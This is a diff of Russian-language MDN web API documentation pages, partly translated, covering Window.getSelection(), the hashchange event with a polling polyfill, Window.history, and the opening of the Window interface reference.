+<div>{{ ApiRef() }}</div>
+
+<h2 id="Summary" name="Summary">Коротко</h2>
+
+<p>Метод возвращает объект {{domxref("Selection")}}, представленный в виде диапазона текста, который пользователь выделил на странице.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>selection</em> = <em>window</em>.getSelection();</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p><font face="consolas, Liberation Mono, courier, monospace">Объект </font>{{domxref("Selection")}}.</p>
+
+<p>При добавлении в параметр пустую строку или вспользовавшись методом {{jsxref("Selection.toString()")}} вам вернут строку, которую выделил пользователь.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">function foo() {
+    var selObj = window.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // вернет диапазон Range
+}</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<h3 id="String_representation_of_the_Selection_object">String representation of the Selection object</h3>
+
+<p>В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр явлется объектом, функцией со своими методами и свойствами.</p>
+
+<p>В приведенном выше примере <code>selObj.toString() автоматически задействуется, когда мы передаем в </code>{{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. В следствии чего, вам необходимо будет применить вручную метод   <code>toString(), как тут:</code></p>
+
+<pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre>
+
+<ul>
+ <li><code>selObj</code> это объект <code>Selection</code>.</li>
+ <li><code>selectedText</code> это строка  (Выделенный текст).</li>
+</ul>
+
+<h3 id="Родственные_объекты">Родственные объекты</h3>
+
+<p>Вы так же можете использовать такой способ вызова {{domxref("Document.getSelection()")}}, который работает идентично {{domxref("Window.getSelection()")}}.</p>
+
+<p>Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).</p>
+
+<p>На заметку, разница между <em>selection</em> и <em>focus</em>. {{domxref("Document.activeElement")}}  - это то, что вернется элемент, который выделен (focused) .</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API", "#extensions-to-window-interface", "Window.getSelection()")}}</td>
+   <td>{{Spec2("Selection API")}}</td>
+   <td>Новая специф.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}</td>
+   <td>{{Spec2("HTML Editing")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"></h2>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Selection_API">Selection API</a></li>
+ <li>{{domxref("Selection")}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Document.getSelection()")}}</li>
+ <li>{{domxref("HTMLInputElement.setSelectionRange()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/hashchange_event/index.html b/files/ru/web/api/window/hashchange_event/index.html
new file mode 100644
index 0000000000..84087f124c
--- /dev/null
+++ b/files/ru/web/api/window/hashchange_event/index.html
@@ -0,0 +1,159 @@
+---
+title: hashchange
+slug: Web/API/Window/hashchange_event
+translation_of: Web/API/Window/hashchange_event
+---
+<p>Событие <code>hashchange</code> генерируется когда изменяется идентификатор фрагмента URL (т.е. часть URL следующая за символом #, включая сам символ #).</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">HashChangeEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td>The previous URL from which the window was navigated.</td>
+  </tr>
+  <tr>
+   <td>newURL {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}<br>
+    <small>Support for the <code>oldURL</code>/<code>newURL</code> attributes added in Firefox 6.</small></td>
+   <td>8.0<br>
+    <code>oldURL</code>/<code>newURL</code> attributes are not supported.</td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2</td>
+   <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><br>
+ There are several fallback scripts listed on <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills" title="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">this page</a>. Basically those scripts check the location.hash at a regular interval. Here is a version that allows only one handler to be bound to the <code>window.onhashchange</code> property:</p>
+
+<pre class="brush:js;">(function(window) {
+
+  // exit if the browser implements that event
+  if ( "onhashchange" in window.document.body ) { return; }
+
+  var location = window.location,
+    oldURL = location.href,
+    oldHash = location.hash;
+
+  // check the location hash on a 100ms interval
+  setInterval(function() {
+    var newURL = location.href,
+      newHash = location.hash;
+
+    // if the hash has changed and a handler has been bound...
+    if ( newHash != oldHash &amp;&amp; typeof window.onhashchange === "function" ) {
+      // execute the handler
+      window.onhashchange({
+        type: "hashchange",
+        oldURL: oldURL,
+        newURL: newURL
+      });
+
+      oldURL = newURL;
+      oldHash = newHash;
+    }
+  }, 100);
+
+})(window);
+</pre>
+
+<h2 id="Похожие_события">Похожие события</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/popstate"><code>popstate</code></a></li>
+</ul>
diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html
new file mode 100644
index 0000000000..982be2ef7e
--- /dev/null
+++ b/files/ru/web/api/window/history/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+translation_of: Web/API/Window/history
+---
+<p>{{ APIRef }}</p>
+
+<p><code><strong>Window</strong>.<strong>history</strong></code> является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).</p>
+
+<p>Смотрите <a href="/ru/docs/Web/API/History_API">Управление историей браузера</a> для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов <code>pushState()</code> и <code>replaceState()</code>, о которых вы должны быть в курсе перед их использованием.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var historyObj</em> = <em>window</em>.history;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">history.back();     // эквивалент клика по кнопке назад
+history.go(-1);     // эквивалент history.back();
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект <code>History</code>, в выпадающем списке к кнопкам "назад" и "вперед".</p>
+
+<p>По причинам безопасности объект <code>History</code> не позволяет непривелигерованному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.</p>
+
+<p>Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривелигерованного кода. Наиболее близкое решение использовать метод <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, который заменяет текущий пункт в истории сессии на предоставленный URL.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html
new file mode 100644
index 0000000000..d70c6e1a44
--- /dev/null
+++ b/files/ru/web/api/window/index.html
@@ -0,0 +1,457 @@
+---
+title: Window
+slug: Web/API/Window
+translation_of: Web/API/Window
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary">Объект <code>window</code> представляет собой окно, содержащее DOM документ; свойство <code>document</code> указывает на <a href="/en-US/docs/DOM/document">DOM document</a>, загруженный в данном окне.</span> Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.</p>
+
+<p>Данный раздел содержит описание всех методов, свойств и событий, доступных через объект <code>window</code> DOM. Объект <code>window</code> реализует интерфейс <code>Window</code>, который наследуется от интерфейса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связаные с окном, но доступные в нем, перечислены в <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> и <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p>
+
+<p>В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект <code>window</code> (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Работа с окнами в chrome коде</a>). Таким образом, объект <code>window</code> не разделяется между разными вкладками в одном и том же окне. Некоторые методы,  а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяеются для всего окна и не принадлежат объекту <code>window</code> отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфейс наследует свойства из интерфейса {{domxref("EventTarget")}} и реализует свойства из {{domxref("WindowOrWorkerGlobalScope")}} и миксин {{domxref("WindowEventHandlers")}}.</em></p>
+
+<p>Отметим, что свойства, являющиеся объектами (например, перезаписанные прототипы встроенных элементов), перечислены в отдельном разделе ниже.</p>
+
+<dl>
+ <dt>{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>Объект {{domxref("OfflineResourceList")}}, обеспечивающий для окна доступ к ресурсам вне сети.</dd>
+ <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>Свойство, указывающее было ли текущее окно закрыто или нет.</dd>
+ <dt>{{domxref("Window.Components")}} {{Non-standard_inline}}</dt>
+ <dd>Точка доступа к богатому функционалу <a href="/en-US/docs/XPCOM">XPCOM</a>. Некоторые свойства, т.к. <a href="/en-US/docs/Components.classes">classes</a>, доступны только для достаточно привелегированного кода. <strong>Web-код не должен использовать эти свойства.</strong></dd>
+ <dt>{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.</dd>
+ <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.</dd>
+ <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает XUL контроллер объектов для текущего окна chrome.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает зашифрованный объект браузера.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
+ <dd>Получает/устанавливает текст статус-бара для данного окна.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает соотношение между физическими пикселями и пикселями на дисплее текущего устройства.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt>
+ <dd>Получает аргументы, переданные в окно (если это диалоговое окно) в момент вызова {{domxref("window.showModalDialog()")}}. Это {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
+ <dd>Синоним {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на содержащийся в окне документ.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает элемент, в который встроено окно, или null, если оно не встроено.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает массив дополнительных фреймов в текущем окне.</dd>
+ <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>Это свойство указывает, отображается ли окно в полноэкранном режиме или нет.</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
+ <dd>Не поддерживает с Gecko 13 (Firefox 13). Использовать вместо него{{domxref("Window.localStorage")}}. Было: Множественные объекты хранения, которые используются для хранения данных на нескольких страницах.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект истории.</dd>
+ <dt>{{domxref("Window.innerHeight")}}</dt>
+ <dd>Получает высоту области содержимого окна браузера, включая, если есть, горизонтальный скроллбар.</dd>
+ <dt>{{domxref("window.innerWidth")}}</dt>
+ <dd>Получает ширину области содержимого окна браузера, включая, если есть, вертикальный скроллбар.</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt>
+ <dd>Указывает, способен ли контекст использовать функционал, требующий безопасного контекста.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает число фреймов в окне. Смотри так же {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}} {{ReadOnlyInline}}</dt>
+ <dd>Получает/устанавливает расположение или текущий URL для текущего объекта окна.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект locationbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Возвращает ссылку на локальный объект хранилища, используемый для хранения данных, которые могут быть доступны только первоисточникам, создавшим их.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект menubar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает объект <a href="/en-US/docs/The_message_manager">message manager</a> для окна.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Время в миллисекундах с момента начала цикла данной анимации.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Возвращает горизонтальную (X) координату верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри <code>mozScreenPixelsPerCSSPixel</code> в {{interface("nsIDOMWindowUtils")}} для конвертирования и адаптирования к экранным пикселям, если необходимо.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри <code>mozScreenPixelsPerCSSPixel</code> для конвертирования и адаптирования к экранным пикселям, если необходимо.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Получает/устанавливает имя для окна.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект навигатора.</dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>Возвращает ссылку на окно, открывшее текущее окно.</dd>
+ <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt>
+ <dd>Возвращает ориентировку в градусах (с увеличением на 90 градусов) окна просмотра относительно настоящей ориентировки устройства.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Получает высоту вместе с внешней частью браузерного окна.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Получает ширину вместе с внешней частью браузерного окна.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>Псевдоним для {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
+ <dd>Псевдоним для {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект хранения сессии, используемый для хранения данных, которые могут быть получены только источником, создавшим их.</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на родителя текущего окна или встроеного фрейма.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Обеспечивает главенствующее пространство для аттрибутов, <a href="/en-US/docs/Navigation_timing">относящихся к производительности</a>.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект personalbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
+ <dd>Раньше предоставлял доступ к установке и удалению PKCS11 модуля.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Возвращаемое значение, которое будет передано в функцию, которая вызвала {{domxref("window.showModalDialog()")}} для отображения окна как модального диалога.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект экрана, ассоциируемый с окном.</dd>
+ <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает горизонтальный размер левой рамки браузера пользователя с левой стороны экрана.</dd>
+ <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает вертикальный размер верхней рамки браузера пользователя с верхней стороны экрана.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект scrollbars, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Максимальный отступ, на который может быть проскроллено окно по горизонтали, состоящее из разницы ширины документа и ширины области просмотра.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Максимальный отступ, на который может быть проскроллено окно по вертикали, (т.е., разница высоты документа и высоты области просмотра).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает число пикселей, на которое документ уже был проскроллен по горизонтали.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает число пикселей, на которое документ уже был проскроллен по вертикали.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на самого себя.</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает объект хранилища для данных в пределах сессии одной страницы.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект окна sidebar.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("SpeechSynthesis")}}, который является точкой входа для использования <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a>, функционала для речевого синтеза.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Получает/устанавливает тект в statusbar внизу браузера.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект statusbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект toolbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на самое первое окно в иерархии текущих окон. Только для чтения.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на текущее окно.</dd>
+ <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
+ <dd>Возвращает ссылку на объект окна во фреймах. Смотри {{domxref("Window.frames")}}.</dd>
+</dl>
+
+<h3 id="Свойства_реализованные_из_других_мест">Свойства,  реализованные из других мест</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает объект {{domxref("CacheStorage")}}, связанный с текущим контекстом. Этот объект добавляет такой функционал как хранение ресурсов для использования вне сети и генерирования встроенных ответов на запросы.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Обеспечивает механизм для приложений для возможности асинхронного доступа индексированных баз данных; возвращает объект {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает булеановское занчение, указывающее является ли текущий контент безопасным (<code>true</code>) или нет (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Возаращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы от интерфейса {{domxref("EventTarget")}}  и реализует свойства {{domxref("WindowOrWorkerGlobalScope")}} и {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>Отображает предупреждающее диалоговое окно.</dd>
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Возвращается на один шаг назад в истории окна.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Убирает фокус с окна.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Позволяет отменить функцию обратного вызова прежде чем определить расписание ее выозва с {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Регестрирует окно, которое будет перехватывать все события опереденного типа.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Отменяет повторяющееся исполнение, установленное с помощью <code>setImmediate</code>.</dd>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Отменяет повторяющееся исполнене, установленное с помощью {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Отменяет повторяющееся исполнене, установленное с помощью {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Закрывает текущее окно.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Отображает диалог с сообщением, на которое пользователь должен ответить.</dd>
+ <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Используется для вызова события.</dd>
+ <dt>{{domxref("Window.dump()")}}</dt>
+ <dd>Отправляет сообщение в консоль.</dd>
+ <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Ищет необходимую строку в окне window.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Устанавливает фокус на текущем окне.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Переходит на один документ вперед в текущей истории окна.</dd>
+ <dt>{{domxref("Window.getAttention()")}}</dt>
